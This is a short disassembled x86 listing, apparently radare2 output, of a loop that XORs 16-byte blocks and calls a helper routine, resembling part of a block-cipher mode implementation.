cmp esi, 0x10
jb 0x100774ed
add edi, esi
push 0x10
mov ecx, edi
sub ebp, esi
pop edx
mov al, byte [ecx + ebp]
xor byte [ecx], al
inc ecx
sub edx, 1
jne 0x100774c1
push edi
push 0x10
push edi
lea eax, [ebx + 0x240]
push ebx
push eax
call fcn.1008c8cc
mov ebp, esi
add esp, 0x14
sub esi, 0x10
sub edi, 0x10
cmp esi, 0x10
jae 0x100774ba
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret 0x10